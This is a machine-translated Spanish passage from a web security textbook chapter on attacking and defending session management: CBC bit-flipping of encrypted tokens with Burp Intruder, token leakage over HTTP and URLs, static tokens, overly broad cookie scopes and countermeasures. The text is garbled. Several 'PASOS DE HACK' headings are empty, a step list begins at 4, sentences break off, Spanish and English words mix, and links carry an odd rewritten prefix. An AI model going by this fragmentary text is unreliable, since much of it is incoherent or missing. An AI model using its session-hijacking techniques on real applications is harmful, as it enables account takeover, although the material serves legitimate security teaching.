bloque descifrado se somete a XOR contra el bloque anterior de texto cifrado para
recuperar el texto sin formato original.
Figura 7-5: En un cifrado CBC, cada bloque de texto sin formato se somete a XOR contra el
bloque de texto cifrado anterior antes de cifrarse.
Debido a que los cifrados CBC evitan algunos de los problemas de los cifrados ECB,
los algoritmos de cifrado simétrico estándar, como DES y AES, se utilizan con frecuencia
en el modo CBC. Sin embargo, la forma en que los tokens cifrados con CBC se emplean a
menudo en las aplicaciones web significa que un atacante puede manipular partes de los
tokens descifrados sin conocer la clave secreta.
Considere una variación de la aplicación anterior cuyos tokens contienen varios
componentes significativos diferentes, incluido un identificador de usuario numérico:
rnd=191432758301;aplicación=eBankProdTC;uid=216;tiempo=6343303;
Como antes, cuando esta información se cifra, da como resultado un token aparentemente
sin significado:
0FB1F1AFB4C874E695AAFC9AA4C2269D3E8E66BBA9B2829B173F255D447C51321586257C
6E459A93635636F45D7B1A43163201477
Debido a que este token se cifra con un cifrado CBC, cuando se descifra el token, cada bloque
de texto cifrado se somete a XOR contra el siguiente bloque de texto descifrado para obtener
el texto sin formato. Ahora, si un atacante modifica partes del texto cifrado (el token que recibió),
esto hace que ese bloque específico se descifre y se convierta en basura. Sin embargo, también
hace que el siguiente bloque de texto descifrado se someta a XOR contra un bloque diferente .
Machine Translated by Google
valor, lo que da como resultado un texto sin formato modificado pero aún significativo. En
otras palabras, al manipular un solo bloque individual del token, el atacante puede modificar
sistemáticamente el contenido descifrado del bloque que le sigue. Dependiendo de cómo
la aplicación procese el token descifrado resultante, esto puede permitir que el atacante
cambie a un usuario diferente o aumente los privilegios.
Veamos cómo. En el ejemplo descrito, el atacante trabaja a través del token cifrado,
cambiando un carácter a la vez de forma arbitraria y enviando cada token modificado a la
aplicación. Esto implica una gran cantidad de solicitudes. La siguiente es una selección de
los valores que resultan cuando la aplicación descifra cada token modificado:
???????32858301;aplicación=eBankProdTC;uid=216;tiempo=6343303; ???????
32758321;aplicación=eBankProdTC;uid=216;tiempo=6343303;
rnd=1914???????;aqp=eBankProdTC;uid=216;time=6343303;
rnd=1914???????;app=eAankProdTC;uid=216;time=6343303;
rnd=191432758301?????????nkPqodTC;uid=216;tiempo=6343303;
rnd=191432758301?????????nkProdUC;uid=216;time=6343303;
rnd=191432758301;app=eBa???????;uie=216;time=6343303;
rnd=191432758301;app=eBa???????;uid=226;time=6343303;
rnd=191432758301;app=eBankProdTC????????;timd=6343303;
rnd=191432758301;app=eBankProdTC????????;time=6343503;
Puede probar fácilmente las aplicaciones para detectar esta vulnerabilidad utilizando el
tipo de carga útil "bit flip per" en Burp Intruder. Primero, debe iniciar sesión en la aplicación
con su propia cuenta. Luego, encuentra una página de la aplicación que depende de una
sesión iniciada y muestra la identidad del usuario registrado dentro de la respuesta. Por lo
general, la página de destino de inicio del usuario o la página de detalles de la cuenta
sirven para este propósito. La Figura 7-6 muestra Burp Intruder configurado para apuntar a
la página de inicio del usuario, con el token de sesión encriptado marcado como una
posición de carga útil.
Machine Translated by Google
Figura 7-6: Configuración de Burp Intruder para modificar un token de sesión cifrada
La figura 7-7 muestra la configuración de carga útil necesaria. Le dice a Burp que
opere con el valor original del token, tratándolo como hexadecimal codificado en ASCII, y
que invierta cada bit en cada posición de carácter. Este enfoque es ideal porque requiere
una cantidad relativamente pequeña de solicitudes (ocho solicitudes por byte de datos en
el token) y casi siempre identifica si la aplicación es vulnerable. Esto le permite usar un
ataque más enfocado para realizar una explotación real.
Cuando se ejecuta el ataque, las solicitudes iniciales no provocan ningún cambio
notable en las respuestas de la aplicación y la sesión del usuario sigue intacta. Esto es
interesante en sí mismo, porque indica que la primera parte del token no se usa para
identificar al usuario que inició sesión. Muchas de las solicitudes posteriores en el ataque
provocan una redirección a la página de inicio de sesión, lo que indica que la modificación
ha invalidado el token de alguna manera. Fundamentalmente, también hay una serie de
solicitudes en las que la respuesta parece ser parte de una sesión válida pero no está
asociada con la identidad del usuario original. Esto corresponde al bloque del token que
contiene el valor de uid . En algunos casos, la aplicación simplemente muestra "usuario
desconocido", lo que indica que el uid modificado no corresponde a un usuario real, por lo
que el ataque falló. En otros casos, muestra el nombre de otro usuario registrado de la
aplicación, demostrando de manera concluyente que el ataque ha tenido éxito. La figura
7-8 muestra los resultados del ataque. Aquí hemos definido una columna extract grep para
mostrar la identidad del usuario que ha iniciado sesión y hemos establecido un fi ltro para
ocultar las respuestas que son redireccionamientos a la página de inicio de sesión.
Machine Translated by Google
Figura 7-7: Configuración de Burp Intruder para voltear cada bit en el token cifrado
¡INTENTALO!
http://mdsec.net/auth/365/
NOTA Algunas aplicaciones utilizan la técnica de cifrar datos significativos dentro de los
parámetros de solicitud de forma más general en un intento de evitar la manipulación de
datos, como los precios de los artículos de compra. En cualquier lugar donde vea datos
aparentemente encriptados que juegan un papel clave en la funcionalidad de la aplicación,
debe probar la técnica de cambio de bits para ver si puede manipular la información encriptada
de una manera significativa para interferir con la lógica de la aplicación.
NOTA Es posible que otras técnicas le permitan descifrar los datos cifrados
utilizados por la aplicación. Se puede abusar de un oráculo de cifrado de
"revelación" para obtener el valor de texto claro de un token cifrado. Aunque
esto puede ser una vulnerabilidad significativa al descifrar una contraseña,
descifrar un token de sesión no proporciona un medio inmediato para comprometer las sesiones de otros usu
Sin embargo, el token descifrado proporciona información útil sobre la estructura de texto
sin cifrar, lo que es útil para realizar un ataque de volteo de bits dirigido. Consulte el
Capítulo 11 para obtener más detalles sobre los ataques de oráculo de cifrado de "revelación".
Los ataques de canal lateral contra oráculos de relleno pueden usarse para comprometer
tokens encriptados. Consulte el Capítulo 18 para obtener más detalles.
PASOS DE HACK
En muchas situaciones en las que se utilizan tokens cifrados, la capacidad de explotación real
puede depender de varios factores, incluidos los desplazamientos de los límites de bloque en
relación con los datos que necesita atacar y la tolerancia de la aplicación a los cambios que
provoca en la estructura de texto sin formato circundante. Trabajando completamente a
ciegas, puede parecer difícil construir un ataque efectivo, sin embargo, en muchas situaciones
esto es posible.
4. Durante ambos ataques, controle las respuestas de la aplicación para identificar al usuario
asociado con su sesión después de cada solicitud e intente aprovechar cualquier
oportunidad de escalada de privilegios que pueda resultar.
5. Si sus ataques no tienen éxito, pero del paso 1 parece que la entrada de longitud variable
que usted controla se está incorporando al token, debe intentar generar una serie de
tokens agregando un carácter a la vez, al menos hasta el tamaño de bloques que se utilizan.
Para cada token resultante, debe volver a realizar los pasos 2 y 3. Esto aumentará la posibilidad
de que los datos que necesita modificar estén adecuadamente alineados con los límites del
bloque para que su ataque tenga éxito.
No importa qué tan efectiva sea una aplicación para garantizar que los tokens de sesión
que genera no contengan información significativa y no sean susceptibles de análisis o
predicción, su mecanismo de sesión estará completamente abierto a ataques si esos
tokens no se manejan con cuidado después de la generación. Por ejemplo, si los tokens
se revelan a un atacante a través de algún medio, el atacante puede secuestrar sesiones
de usuario incluso si es imposible predecir los tokens.
El manejo inseguro de tokens de una aplicación puede hacerla vulnerable a ataques
de varias maneras.
MITO COMÚN
"Nuestro token está protegido contra la divulgación a terceros porque usamos SSL".
El uso adecuado de SSL ciertamente ayuda a proteger los tokens de sesión para que no
sean capturados. Pero varios errores aún pueden dar como resultado que los tokens se
transmitan en texto sin cifrar, incluso cuando SSL está implementado. Y se pueden usar varios
ataques directos contra los usuarios finales para obtener sus tokens.
MITO COMÚN
El comportamiento predeterminado de un servidor de aplicaciones suele ser crear una cookie de sesión
cuando el usuario visita el sitio por primera vez y mantenerlo disponible para toda la
interacción del usuario con el sitio. Como se describe en las siguientes secciones, esto puede
generar varias vulnerabilidades de seguridad en la forma en que se maneja el token.
Machine Translated by Google
En otros casos, una aplicación puede usar HTTPS para proteger las comunicaciones clave
entre el cliente y el servidor, pero aun así puede ser vulnerable a la intercepción de tokens de
sesión en la red. Esta debilidad puede ocurrir de varias maneras, muchas de las cuales pueden
surgir específicamente cuando se utilizan cookies HTTP como mecanismo de transmisión para
tokens de sesión:
n Algunas aplicaciones optan por utilizar HTTPS para proteger las credenciales del usuario
durante el inicio de sesión, pero luego vuelven a HTTP durante el resto de la sesión del
usuario . Muchas aplicaciones de correo web se comportan de esta manera. En esta
situación, un intruso no puede interceptar las credenciales del usuario, pero aún puede
capturar el token de sesión. La herramienta Firesheep, lanzada como un complemento
para Firefox, hace que este sea un proceso fácil.
n Algunas aplicaciones usan HTTP para áreas preautenticadas del sitio, como la página
principal del sitio, pero cambian a HTTPS desde la página de inicio de sesión en adelante.
Sin embargo, en muchos casos, el usuario recibe un token de sesión en la primera
página visitada y este token no se modifica cuando el usuario inicia sesión. La sesión
del usuario, que originalmente no está autenticada, se actualiza a una sesión autenticada
después del inicio de sesión . . En esta situación, un intruso puede interceptar el token
de un usuario antes de iniciar sesión, esperar a que las comunicaciones del usuario cambien a
Machine Translated by Google
HTTPS, lo que indica que el usuario está iniciando sesión y luego intenta acceder a una
página protegida (como Mi cuenta) usando ese token.
n Incluso si la aplicación emite un token nuevo luego de un inicio de sesión exitoso y usa
HTTPS desde la página de inicio de sesión en adelante, el token para la sesión autenticada
del usuario aún puede divulgarse. Esto puede suceder si el usuario vuelve a visitar una
página de autenticación previa (como Ayuda o Acerca de), ya sea siguiendo los enlaces
dentro del área autenticada, usando el botón Atrás o escribiendo la URL directamente.
n En una variación del caso anterior, la aplicación puede intentar cambiar a HTTPS cuando
el usuario hace clic en el enlace Iniciar sesión. Sin embargo, aún puede aceptar un inicio
de sesión a través de HTTP si el usuario modifica la URL en consecuencia. En esta
situación , un atacante en una posición adecuada puede modificar las páginas devueltas
en las áreas autenticadas previamente del sitio para que el enlace de inicio de sesión
apunte a una página HTTP. Incluso si la aplicación emite un token de sesión nuevo
después de un inicio de sesión exitoso, el atacante aún puede interceptar este token si ha
degradado con éxito la conexión del usuario a HTTP.
n Algunas aplicaciones usan HTTP para todo el contenido estático dentro de la aplicación,
como imágenes, guiones, hojas de estilo y plantillas de página. Este comportamiento a
menudo se indica mediante una advertencia en el navegador del usuario, como se muestra
en la Figura 7-9. Cuando un navegador muestra esta advertencia, ya ha recuperado el
elemento relevante a través de HTTP, por lo que el token de sesión ya se ha transmitido.
El propósito de la advertencia del navegador es permitir que el usuario se niegue a
procesar los datos de respuesta que se han recibido a través de HTTP y, por lo tanto,
pueden estar contaminados. Como se describió anteriormente, un atacante puede
interceptar el token de sesión del usuario cuando el navegador del usuario accede a un
recurso a través de HTTP y usar este token para acceder a áreas protegidas no estáticas del sitio a través de
Figura 7-9: Los navegadores presentan una advertencia cuando una página
n Incluso si una aplicación utiliza HTTPS para todas las páginas, incluidas las áreas no
autenticadas del sitio y el contenido estático, puede haber circunstancias en las que los
tokens de los usuarios se transmitan a través de HTTP. Si un atacante puede
de alguna manera inducir a un usuario a realizar una solicitud a través de HTTP (ya sea al HTTP
Machine Translated by Google
PASOS DE HACK
Figura 7-10: Recorrido por una aplicación para identificar ubicaciones donde se
reciben nuevos tokens de sesión.
¡INTENTALO!
http://mdsec.net/auth/369/
http://mdsec.net/auth/372/
http://mdsec.net/auth/374/
http://www.webjunction.org/do/Navigation;jsessionid=
F27ED2A6AAE4C6DA409A3044E79B8B48?category=327
Machine Translated by Google
Cuando las aplicaciones transmiten sus tokens de sesión de esta manera, es probable
que sus tokens de sesión aparezcan en varios registros del sistema a los que pueden tener
acceso partes no autorizadas:
corporativos o ISP n Registros de cualquier proxy inverso empleado dentro del alojamiento de la aplicación
ambiente
n Los registros de Referer de cualquier servidor que los usuarios de la aplicación visiten siguiendo
enlaces fuera del sitio, como se muestra en la Figura 7-11
Figura 7-11: cuando los tokens de sesión aparecen en las URL, estos se transmiten en el
encabezado Referer cuando los usuarios siguen un enlace externo o su navegador carga un
recurso externo.
realizar alguna acción maliciosa, como enviar correo electrónico no deseado, recopilar
información personal o cambiar contraseñas.
PASOS DE HACK
¡INTENTALO!
http://mdsec.net/auth/379/
Una debilidad relacionada pero distinta es que las aplicaciones usan tokens "estáticos".
Estos parecen tokens de sesión e inicialmente pueden parecer que funcionan como ellos,
pero de hecho no son tal cosa. En estas aplicaciones, a cada usuario se le asigna un token,
y este mismo token se vuelve a emitir al usuario cada vez que inicia sesión. La aplicación
siempre acepta el token como válido, independientemente de si el usuario ha iniciado sesión
recientemente y se le ha emitido. Aplicaciones como esta realmente implican un malentendido
sobre todo el concepto de lo que es una sesión y los beneficios que brinda para administrar
y controlar el acceso a la aplicación.
A veces, las aplicaciones funcionan así como un medio para implementar la funcionalidad
"recuérdame" mal diseñada y, en consecuencia, el token estático se almacena en una
cookie persistente (consulte el Capítulo 6). A veces, los tokens en sí son vulnerables a los
ataques de predicción, lo que hace que la vulnerabilidad sea mucho más grave.
En lugar de comprometer las sesiones de los usuarios actualmente conectados, un ataque
exitoso compromete, para siempre, las cuentas de todos los usuarios registrados.
Ocasionalmente también se observan otros tipos de comportamiento extraño de la
aplicación que demuestran un defecto fundamental en la relación entre tokens y sesiones.
Un ejemplo es cuando se construye un token significativo basado en un nombre de usuario
y un componente aleatorio. Por ejemplo, considere el token:
dXNlcj1kYWY7cjE9MTMwOTQxODEyMTM0NTkwMTI=
que Base64-decodifica a:
usuario=daf;r1=13094181213459012
Machine Translated by Google
Después de un análisis extenso del componente r1 , podemos concluir que esto no se puede
predecir con base en una muestra de valores. Sin embargo, si la lógica de procesamiento de la
sesión de la aplicación es incorrecta, es posible que un atacante simplemente necesite enviar
cualquier valor válido como r1 y cualquier valor válido como usuario para acceder a una sesión en
el contexto de seguridad del usuario especificado. Esta es esencialmente una vulnerabilidad de
control de acceso, porque las decisiones sobre el acceso se toman sobre la base de los datos
proporcionados por el usuario fuera de la sesión (consulte el Capítulo 8). Surge porque la
aplicación utiliza efectivamente tokens de sesión para indicar que el solicitante ha establecido
algún tipo de sesión válida con la aplicación. Sin embargo, el contexto de usuario en el que se
procesa esa sesión no es una propiedad integral de la sesión en sí, sino que se determina por
solicitud a través de algún otro medio. En este caso, ese medio puede ser controlado directamente
por el solicitante.
PASOS DE HACK
1. Inicie sesión en la aplicación dos veces con la misma cuenta de usuario, ya sea desde
diferentes procesos del navegador o desde diferentes computadoras. Determine si
ambas sesiones permanecen activas al mismo tiempo. Si es así, la aplicación admite
sesiones simultáneas, lo que permite que un atacante que haya comprometido las
credenciales de otro usuario pueda utilizarlas sin riesgo de detección.
2. Inicie y cierre sesión varias veces con la misma cuenta de usuario, ya sea
desde diferentes procesos del navegador o desde diferentes computadoras. Determine
si se emite un nuevo token de sesión cada vez o si se emite el mismo token cada vez
que inicia sesión. Si ocurre esto último, la aplicación no está realmente empleando las
sesiones adecuadas.
¡INTENTALO!
http://mdsec.net/auth/382/
http://mdsec.net/auth/385/
En segundo lugar, proporciona a los usuarios un medio para invalidar una sesión existente cuando ya
no la necesitan. Esto les permite reducir aún más esta ventana y asumir cierta responsabilidad para
proteger su sesión en un entorno informático compartido. Las principales debilidades en las funciones
de finalización de sesión implican fallas en el cumplimiento de estos dos objetivos clave.
Algunas aplicaciones que no utilizan la autenticación todavía contienen una funcionalidad que permite
a los usuarios acumular datos confidenciales dentro de su sesión (por ejemplo, una aplicación de
compras). Sin embargo, normalmente no proporcionan ningún equivalente a una función de cierre de
sesión para que los usuarios finalicen su sesión.
PASOS DE HACK
¡INTENTALO!
http://mdsec.net/auth/423/
http://mdsec.net/auth/439/
http://mdsec.net/auth/447/
http://mdsec.net/auth/452/
http://mdsec.net/auth/457/
n Una carga útil obvia para los ataques de secuencias de comandos entre sitios es
consultar las cookies del usuario para obtener su token de sesión, que luego puede
transmitirse a un servidor arbitrario controlado por el atacante. Todas las diversas
permutaciones de este ataque se describen en detalle en el Capítulo 12.
n Se pueden usar varios otros ataques contra los usuarios para secuestrar la sesión del
usuario de diferentes maneras. Con las vulnerabilidades de fijación de sesión, un
atacante alimenta un token de sesión conocido a un usuario, espera a que inicie sesión
y luego secuestra su sesión. Con los ataques de falsificación de solicitudes entre sitios,
un atacante realiza una solicitud manipulada a una aplicación desde un sitio web que
controla y aprovecha el hecho de que el navegador del usuario envía automáticamente
su cookie actual con esta solicitud. Estos ataques también se describen en el Capítulo 12.
Machine Translated by Google
PASOS DE HACK
6. Si la aplicación utiliza cookies HTTP para transmitir tokens de sesión, es posible que
será vulnerable a la falsificación de solicitudes entre sitios (XSRF). Primero, inicie
sesión en la aplicación. Luego, confirme que una solicitud realizada a la aplicación
pero que se origina en una página de una aplicación diferente da como resultado
el envío del token del usuario. (Este envío debe realizarse desde una ventana del
mismo proceso de navegador que se utilizó para iniciar sesión en la aplicación de destino).
Intente identificar cualquier función de aplicación confidencial cuyos parámetros
un atacante pueda determinar de antemano y explote esto para llevar a cabo
acciones no autorizadas dentro del contexto de seguridad de un usuario objetivo.
Consulte el Capítulo 13 para obtener más detalles sobre cómo ejecutar ataques XSRF.
El mecanismo de cookies permite que un servidor especifique tanto el dominio como la ruta
URL a la que se volverá a enviar cada cookie. Para ello, utiliza los atributos de dominio y ruta que
pueden incluirse en la instrucción Set-cookie .
Cuando la aplicación que reside en foo.wahh-app.com establece una cookie, el navegador vuelve
a enviar la cookie de forma predeterminada en todas las solicitudes posteriores a foo.wahh-
app .com, y también a cualquier subdominio, como admin.foo.wahh- app.com. No envía la cookie
a ningún otro dominio, incluido el dominio principal wahh-app.com y cualquier otro subdominio del
principal, como bar.wahh-app.com.
Un servidor puede anular este comportamiento predeterminado al incluir un atributo
de dominio en la instrucción Set-cookie . Por ejemplo, suponga que la aplicación en
foo .wahh-app.com devuelve el siguiente encabezado HTTP:
Establecer-cookie: sessionId=19284710; dominio=wahh-app.com;
Luego, el navegador vuelve a enviar esta cookie a todos los subdominios de wahh-app.com,
incluido bar.wahh-app.com.
Si una aplicación establece el alcance del dominio de una cookie como indebidamente liberal,
esto puede exponer la aplicación a varias vulnerabilidades de seguridad.
Por ejemplo, considere una aplicación de blogs que permita a los usuarios registrarse, iniciar
sesión, escribir publicaciones de blog y leer los blogs de otras personas. La aplicación principal
se encuentra en el dominio wahh-blogs.com. Cuando los usuarios inician sesión en la aplicación,
reciben un token de sesión en una cookie cuyo ámbito es este dominio. Cada usuario puede crear
blogs a los que se accede a través de un nuevo subdominio que tiene como prefijo su
nombre de usuario:
herman.wahh-blogs.com
solero.wahh-blogs.com
aplicaciones de blog del mundo real), un blogger malicioso puede robar los tokens de sesión de otros
usuarios de la misma manera que se hace en un ataque de secuencias de comandos entre sitios
almacenados (consulte el Capítulo 12).
El problema surge porque los blogs creados por los usuarios se crean como subdominios de
la aplicación principal que maneja la autenticación y la gestión de sesiones.
No existe ninguna función dentro de las cookies HTTP para que la aplicación evite que las
cookies emitidas por el dominio principal se vuelvan a enviar a sus subdominios.
La solución es usar un nombre de dominio diferente para la aplicación principal (por ejemplo,
www.wahh-blogs.com) y hacer que el dominio de sus cookies de token de sesión tenga este
nombre completo. La cookie de sesión no se enviará cuando un usuario registrado navegue por
los blogs de otros usuarios.
Una versión diferente de esta vulnerabilidad surge cuando una aplicación establece
explícitamente el alcance del dominio de sus cookies en un dominio principal. Por ejemplo,
suponga que una aplicación crítica para la seguridad se encuentra en el dominio de aplicaciones
sensibles .wahh-organization.com. Cuando establece cookies, liberaliza explícitamente el
alcance de su dominio, de la siguiente manera:
Establecer-cookie: sessionId=12df098ad809a5219; dominio=wahh-organization.com
www.wahh-organization.com
testapp.wahh-organization.com
Aunque todas estas otras aplicaciones pueden pertenecer a la misma organización que la
aplicación confidencial, no es deseable que las cookies de la aplicación confidencial se envíen
a otras aplicaciones, por varios motivos:
pueden contener funciones que permitan a terceros obtener el valor de las cookies enviadas
a la aplicación, como en el ejemplo de blog anterior.
n Es posible que las otras aplicaciones no hayan estado sujetas a los mismos estándares
de seguridad o pruebas que la aplicación confidencial (porque son menos importantes,
no manejan datos confidenciales o se crearon solo con fines de prueba). Muchos tipos
de vulnerabilidades que pueden existir en esas aplicaciones (por ejemplo, vulnerabilidades
de secuencias de comandos entre sitios) pueden ser irrelevantes para la postura de
seguridad de esas aplicaciones. Pero podrían permitir que un atacante externo aproveche
una aplicación insegura para capturar tokens de sesión creados por la aplicación
confidencial.
Machine Translated by Google
PASOS DE HACK
Revise todas las cookies emitidas por la aplicación y verifique los atributos de
dominio utilizados para controlar el alcance de las cookies.
1. Si una aplicación libera explícitamente el alcance de sus cookies a un
dominio principal, puede quedar vulnerable a los ataques a través de
otras aplicaciones web.
2. Si una aplicación establece el alcance del dominio de sus cookies en su propio
nombre de dominio (o no especifica un atributo de dominio), aún puede estar
expuesta a aplicaciones o funciones accesibles a través de subdominios.
Identifique todos los posibles nombres de dominio que recibirán las cookies
emitidas por la aplicación. Establezca si se puede acceder a alguna otra aplicación
web o funcionalidad a través de estos nombres de dominio que pueda aprovechar
para obtener las cookies emitidas a los usuarios de la aplicación de destino.
Al igual que con las restricciones basadas en el dominio sobre el alcance de las cookies, un servidor
puede anular este comportamiento predeterminado al incluir un atributo de ruta en la instrucción Set-cookie .
Por ejemplo, si la aplicación devuelve el siguiente encabezado HTTP:
el navegador vuelve a enviar esta cookie a todos los subdirectorios de la ruta /apps/ .
En contraste con el alcance de las cookies basado en el dominio, esta restricción basada en la ruta
es mucho más estricta que la que impone la política del mismo origen. Como tal, es casi totalmente
ineficaz si se utiliza como mecanismo de seguridad para defenderse de los usuarios que no son de confianza.
Machine Translated by Google
aplicaciones alojadas en el mismo dominio. El código del lado del cliente que se ejecuta
en una ruta puede abrir una ventana o un iframe dirigido a una ruta diferente en el mismo
dominio y puede leer y escribir en esa ventana sin ninguna restricción. Por lo tanto,
obtener una cookie cuyo ámbito sea una ruta diferente en el mismo dominio es
relativamente sencillo. Consulte el siguiente artículo de Amit Klein para obtener más detalles:
http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/
2006-marzo/000843.html
Las medidas defensivas que deben tomar las aplicaciones web para prevenir ataques a sus
mecanismos de administración de sesión corresponden a las dos grandes categorías de
vulnerabilidad que afectan a esos mecanismos. Para realizar la administración de sesiones de
manera segura, una aplicación debe generar sus tokens de manera robusta y debe proteger
estos tokens a lo largo de su ciclo de vida, desde la creación hasta la eliminación.
Los tokens deben consistir en nada más que un identificador utilizado por el servidor para
ubicar el objeto de sesión relevante que se utilizará para procesar la solicitud del usuario.
El token no debe contener significado ni estructura, ya sea abiertamente o envuelto en capas
de codificación u ofuscación. Todos los datos sobre el propietario y el estado de la sesión
deben almacenarse en el servidor en el objeto de sesión al que corresponde el token de sesión.
Tenga cuidado al seleccionar una fuente de aleatoriedad. Los desarrolladores deben ser
conscientes de que es probable que las diversas fuentes disponibles para ellos difieran en fuerza
Machine Translated by Google
Además de seleccionar la fuente de aleatoriedad más robusta que sea factible, una
buena práctica es introducir como fuente de entropía alguna información sobre la solicitud
individual para la que se genera el token. Es posible que esta información no sea exclusiva
de esa solicitud, pero puede ser eficaz para mitigar cualquier debilidad en el generador de
números pseudoaleatorios principal que se está utilizando. Estos son algunos ejemplos de
información que se puede incorporar:
Una fórmula muy eficaz para incorporar esta entropía es construir una cadena que
concatene un número pseudoaleatorio, una variedad de datos específicos de la solicitud
que se enumeran y una cadena secreta conocida solo por el servidor y generada de nuevo
en cada reinicio. Luego se toma un hash adecuado de esta cadena (usando, por ejemplo,
SHA-256 en el momento de escribir este artículo) para producir una cadena manejable de
longitud fija que se puede usar como token. (Al colocar los elementos más variables hacia
el comienzo de la entrada del hash, se maximiza el efecto de "avalancha" dentro del algoritmo hash).
tareas de soporte y diagnóstico a realizar, sin divulgar el token de sesión que envía el usuario
para identificar su sesión. n El alcance del dominio y la ruta de las cookies de sesión de una
aplicación debe establecerse de la manera más restrictiva posible. Las cookies con un alcance
excesivamente liberal a menudo son generadas por plataformas de aplicaciones web o servidores
web mal configurados , en lugar de por los propios desarrolladores de aplicaciones. No se debe
acceder a ninguna otra aplicación web o funcionalidad que no sea de confianza a través de
nombres de dominio o rutas URL que se incluyen dentro del alcance de las cookies de la
aplicación. Se debe prestar especial atención a los subdominios existentes en el nombre de
dominio que se utiliza para acceder a la aplicación. En algunos casos, para garantizar que no
surja esta vulnerabilidad, puede ser necesario modificar el esquema de nombres de dominio y
ruta empleado por las diversas aplicaciones en uso dentro de la organización.
Se deben tomar medidas específicas para defender el mecanismo de gestión de sesiones contra la
variedad de ataques de los que los usuarios de la aplicación pueden ser objeto:
n El código base de la aplicación debe auditarse rigurosamente para identificar y eliminar cualquier
vulnerabilidad de secuencias de comandos entre sitios (consulte el Capítulo 12). La mayoría de
estas vulnerabilidades pueden explotarse para atacar los mecanismos de administración de sesiones.
En particular, los ataques XSS almacenados (o de segundo orden) generalmente
se pueden explotar para derrotar todas las defensas imaginables contra el uso
indebido y el secuestro de sesiones. n No se deben aceptar tokens arbitrarios enviados
por usuarios que el servidor no reconoce . El token debe cancelarse inmediatamente
dentro del navegador y el usuario debe regresar a la página de inicio de la aplicación.
n La falsificación de solicitudes entre sitios y otros ataques de sesión pueden ser más
difíciles al requerir una confirmación y/o reautenticación de dos pasos antes de que
se lleven a cabo acciones críticas, como transferencias de fondos.
n Siempre se debe crear una sesión nueva después de una autenticación exitosa, para mitigar los
efectos de los ataques de fijación de sesión. Cuando una aplicación no usa autenticación pero
permite enviar datos confidenciales, la amenaza que representan los ataques de fi jación es más
difícil de abordar. Un posible enfoque
Machine Translated by Google
El uso de tokens por página impone algunas restricciones en la navegación (por ejemplo,
en el uso de los botones de avance y retroceso y la navegación en múltiples ventanas).
Machine Translated by Google
Sin embargo, previene eficazmente los ataques de fijación de sesión y asegura que el uso
simultáneo de una sesión secuestrada por parte de un usuario legítimo y un atacante se
bloqueará rápidamente después de que ambos hayan realizado una sola solicitud. Los tokens
por página también se pueden aprovechar para rastrear la ubicación y el movimiento del usuario
a través de la aplicación. También se pueden usar para detectar intentos de acceder a funciones
fuera de una secuencia definida, lo que ayuda a proteger contra ciertos defectos de control de
acceso (consulte el Capítulo 8).
n Los ataques de fuerza bruta contra tokens de sesión son difíciles de bloquear por completo,
porque no se puede desactivar ninguna cuenta de usuario o sesión en particular para
detener el ataque. Una posible acción es bloquear las direcciones IP de origen durante
un período de tiempo cuando se hayan recibido varias solicitudes que contengan tokens
no válidos. Sin embargo, esto puede resultar ineficaz cuando las solicitudes de un usuario
se originan en varias direcciones IP (como los usuarios de AOL) o cuando las solicitudes
de varios usuarios se originan en la misma dirección IP (como los usuarios detrás de un
proxy o firewall que realizan la traducción de direcciones de red).
n Incluso si los ataques de fuerza bruta contra las sesiones no se pueden prevenir de manera
efectiva en tiempo real, mantener registros detallados y alertar a los administradores les
permite investigar el ataque y tomar las medidas apropiadas cuando sea posible. n
Siempre que sea posible, se debe alertar a los usuarios sobre eventos anómalos relacionados
con su sesión, como inicios de sesión simultáneos o secuestros aparentes (detectados
mediante tokens por página). Aunque ya se haya producido un compromiso, esto permite
al usuario comprobar si se han producido acciones no autorizadas , como transferencias
de fondos.
Los ejemplos son cualquier solicitud que contenga un campo de formulario HTML oculto modificado o un
parámetro de cadena de consulta de URL, cualquier solicitud que contenga cadenas asociadas con
inyección SQL o ataques de secuencias de comandos entre sitios, y cualquier entrada de usuario que
normalmente habría sido bloqueada por verificaciones del lado del cliente como como restricciones de longitud.
Por supuesto, cualquier vulnerabilidad real que pueda explotarse mediante tales solicitudes
debe abordarse en la fuente. Pero obligar a los usuarios a volver a autenticarse cada vez
que envían una solicitud no válida puede ralentizar el proceso de sondeo de la aplicación en
busca de vulnerabilidades en muchos órdenes de magnitud, incluso cuando se emplean
técnicas automatizadas. Si aún existen vulnerabilidades residuales, es mucho menos
probable que alguien en el campo las descubra.
Cuando se implemente este tipo de defensa, también se recomienda que pueda
desactivarse fácilmente para fines de prueba. Si una prueba de penetración legítima de la
aplicación se ralentiza de la misma manera que un atacante del mundo real, su eficacia se
reduce drásticamente. Además, es muy probable que la presencia del mecanismo provoque
que queden más vulnerabilidades en el código de producción que si el mecanismo estuviera
ausente.
PASOS DE HACK
Si la aplicación que está atacando utiliza este tipo de medida defensiva, es posible que
descubra que probar la aplicación en busca de muchos tipos de vulnerabilidades
comunes requiere mucho tiempo. La abrumadora necesidad de iniciar sesión después de
cada prueba fallida y volver a navegar hasta el punto de la aplicación que estaba viendo
rápidamente haría que se rindiera.
En esta situación, a menudo puede utilizar la automatización para abordar el problema.
Al usar Burp Intruder para realizar un ataque, puede usar la función Obtener cookie
para realizar un nuevo inicio de sesión antes de enviar cada caso de prueba y usar el
nuevo token de sesión (siempre que el inicio de sesión sea de una sola etapa). Al
navegar y sondear la aplicación manualmente, puede usar las funciones de extensibilidad
de Burp Proxy a través de la interfaz IBurpExtender. Puede crear una extensión que
detecte cuándo la aplicación ha realizado un cierre de sesión forzado, vuelva a iniciar
sesión automáticamente en la aplicación y devuelva la nueva sesión y página al navegador,
opcionalmente con un mensaje emergente para informarle lo que ha ocurrido. Aunque
esto de ninguna manera elimina el problema, en ciertos casos puede mitigarlo
sustancialmente.
Resumen
El mecanismo de gestión de sesiones proporciona una rica fuente de capacidades de
vulnerabilidades potenciales para que usted las apunte al formular su ataque contra una aplicación.
Debido a su papel fundamental al permitir que la aplicación identifique al mismo usuario en
múltiples solicitudes, una función de administración de sesión rota generalmente
Machine Translated by Google
proporciona las llaves del reino. Saltar a las sesiones de otros usuarios es bueno.
Secuestrar la sesión de un administrador es incluso mejor; por lo general, esto le permite
comprometer toda la aplicación.
Puede esperar encontrar una amplia gama de defectos en la funcionalidad de administración
de sesiones del mundo real. Cuando se emplean mecanismos a medida, las posibles debilidades
